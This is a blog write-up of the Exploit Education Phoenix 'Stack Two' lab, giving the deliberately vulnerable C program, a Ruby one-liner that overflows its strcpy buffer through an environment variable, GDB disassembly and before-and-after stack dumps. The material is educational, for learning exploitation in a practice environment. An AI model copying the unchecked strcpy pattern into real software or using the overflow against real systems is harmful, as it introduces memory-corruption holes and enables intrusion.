loading...

(Write-up) Phoenix :: Stack Two

aibhstin profile image Aibhstin ・3 min read

The source code for this challenge is given as the following:

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  char *ptr;

  printf("%s\n", BANNER);

  ptr = getenv("ExploitEducation");
  if (ptr == NULL) {
    errx(1, "please set the ExploitEducation environment variable");
  }

  locals.changeme = 0;
  strcpy(locals.buffer, ptr);

  if (locals.changeme == 0x0d0a090a) {
    puts("Well done, you have successfully set changeme to the correct value");
  } else {
    printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
        locals.changeme);
  }

  exit(0);
}

Unlike the previous challenges, this program gets its input from an environment variable. Specifically using getenv to get a pointer that stores the address of the place in memory where the contents of that environment variable reside, then using the vulnerable strcpy function to copy that string into a buffer.

user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-two 
Welcome to phoenix/stack-two, brought to you by https://exploit.education
stack-two: please set the ExploitEducation environment variable
user@phoenix-amd64:/opt/phoenix/amd64$ ExploitEducation=AAAA ./stack-two 
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Almost! changeme is currently 0x00000000, we want 0x0d0a090a

Like the previous examples, there is no boundary checking, so a similar Ruby one-liner will suffice.

user@phoenix-amd64:/opt/phoenix/amd64$ ExploitEducation=`ruby -e 'puts "A" * 64 + ["0a090a0d"].pack("H*")'` ./stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value

Going into GDB and showing the environment variables, we can see the ExploitEducation variable in memory:

(gdb) show env
. . .
OLDPWD=/opt/phoenix
USER=user
PWD=/opt/phoenix/amd64
HOME=/home/user
SSH_CLIENT=10.0.2.2 44492 22
SSH_TTY=/dev/pts/0
MAIL=/var/mail/user
TERM=screen-256color
SHELL=/bin/bash
SHLVL=1
ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Dissassembling main:

Dump of assembler code for function main:
   0x00000000004006ad <+0>:     push   rbp
   0x00000000004006ae <+1>:     mov    rbp,rsp
   0x00000000004006b1 <+4>:     sub    rsp,0x60
   0x00000000004006b5 <+8>:     mov    DWORD PTR [rbp-0x54],edi
   0x00000000004006b8 <+11>:    mov    QWORD PTR [rbp-0x60],rsi
   0x00000000004006bc <+15>:    mov    edi,0x400790
   0x00000000004006c1 <+20>:    call   0x400500 <puts@plt>
   0x00000000004006c6 <+25>:    mov    edi,0x4007da
   0x00000000004006cb <+30>:    call   0x4004f0 <getenv@plt>
   0x00000000004006d0 <+35>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006d4 <+39>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x00000000004006d9 <+44>:    jne    0x4006ef <main+66>
   0x00000000004006db <+46>:    mov    esi,0x4007f0
   0x00000000004006e0 <+51>:    mov    edi,0x1
   0x00000000004006e5 <+56>:    mov    eax,0x0
   0x00000000004006ea <+61>:    call   0x400510 <errx@plt>
   0x00000000004006ef <+66>:    mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004006f6 <+73>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004006fa <+77>:    lea    rax,[rbp-0x50]
   0x00000000004006fe <+81>:    mov    rsi,rdx
   0x0000000000400701 <+84>:    mov    rdi,rax
   0x0000000000400704 <+87>:    call   0x4004d0 <strcpy@plt>
   0x0000000000400709 <+92>:    mov    eax,DWORD PTR [rbp-0x10]
   0x000000000040070c <+95>:    cmp    eax,0xd0a090a
   0x0000000000400711 <+100>:   jne    0x40071f <main+114>
   0x0000000000400713 <+102>:   mov    edi,0x400828
   0x0000000000400718 <+107>:   call   0x400500 <puts@plt>
   0x000000000040071d <+112>:   jmp    0x400733 <main+134>
   0x000000000040071f <+114>:   mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000400722 <+117>:   mov    esi,eax
   0x0000000000400724 <+119>:   mov    edi,0x400870
   0x0000000000400729 <+124>:   mov    eax,0x0
   0x000000000040072e <+129>:   call   0x4004e0 <printf@plt>
   0x0000000000400733 <+134>:   mov    edi,0x0
   0x0000000000400738 <+139>:   call   0x400520 <exit@plt>
End of assembler dump.

We can place a breakpoint at main + 87 to see the state of the stack before and after the vulnerable function call.

Before:

(gdb) x/20xg $rsp
0x7fffffffe590: 0x00007fffffffe648      0x0000000100000000
0x7fffffffe5a0: 0x0000000000000000      0x0000000000000000
0x7fffffffe5b0: 0x0000000000000000      0x0000000000000000
0x7fffffffe5c0: 0x0000000000000000      0x00007fffffffe648
0x7fffffffe5d0: 0x0000000000000001      0x00007fffffffe658
0x7fffffffe5e0: 0x0000000000000000      0x00007fffffffef4b
0x7fffffffe5f0: 0x0000000000000001      0x00007ffff7d8fd62
0x7fffffffe600: 0x0000000000000000      0x00007fffffffe640
0x7fffffffe610: 0x0000000000000000      0x00007ffff7ffdbc8
0x7fffffffe620: 0x0400000100003e00      0x0000000000400579

After:

(gdb) x/20xg $rsp
0x7fffffffe590: 0x00007fffffffe648      0x0000000100000000
0x7fffffffe5a0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5b0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5c0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5d0: 0x4141414141414141      0x4141414141414141
0x7fffffffe5e0: 0x000000000d0a090a      0x00007fffffffef4b
0x7fffffffe5f0: 0x0000000000000001      0x00007ffff7d8fd62
0x7fffffffe600: 0x0000000000000000      0x00007fffffffe640
0x7fffffffe610: 0x0000000000000000      0x00007ffff7ffdbc8
0x7fffffffe620: 0x0400000100003e00      0x0000000000400579

If we had gone further we could have overwritten the return address that was stored on the stack. This concept will be used in future programs.

Posted on by:

aibhstin profile

Aibhstin

@aibhstin

I'm an Ethical Hacking & Cybersecurity student and a Haskell programmer.

Discussion

markdown guide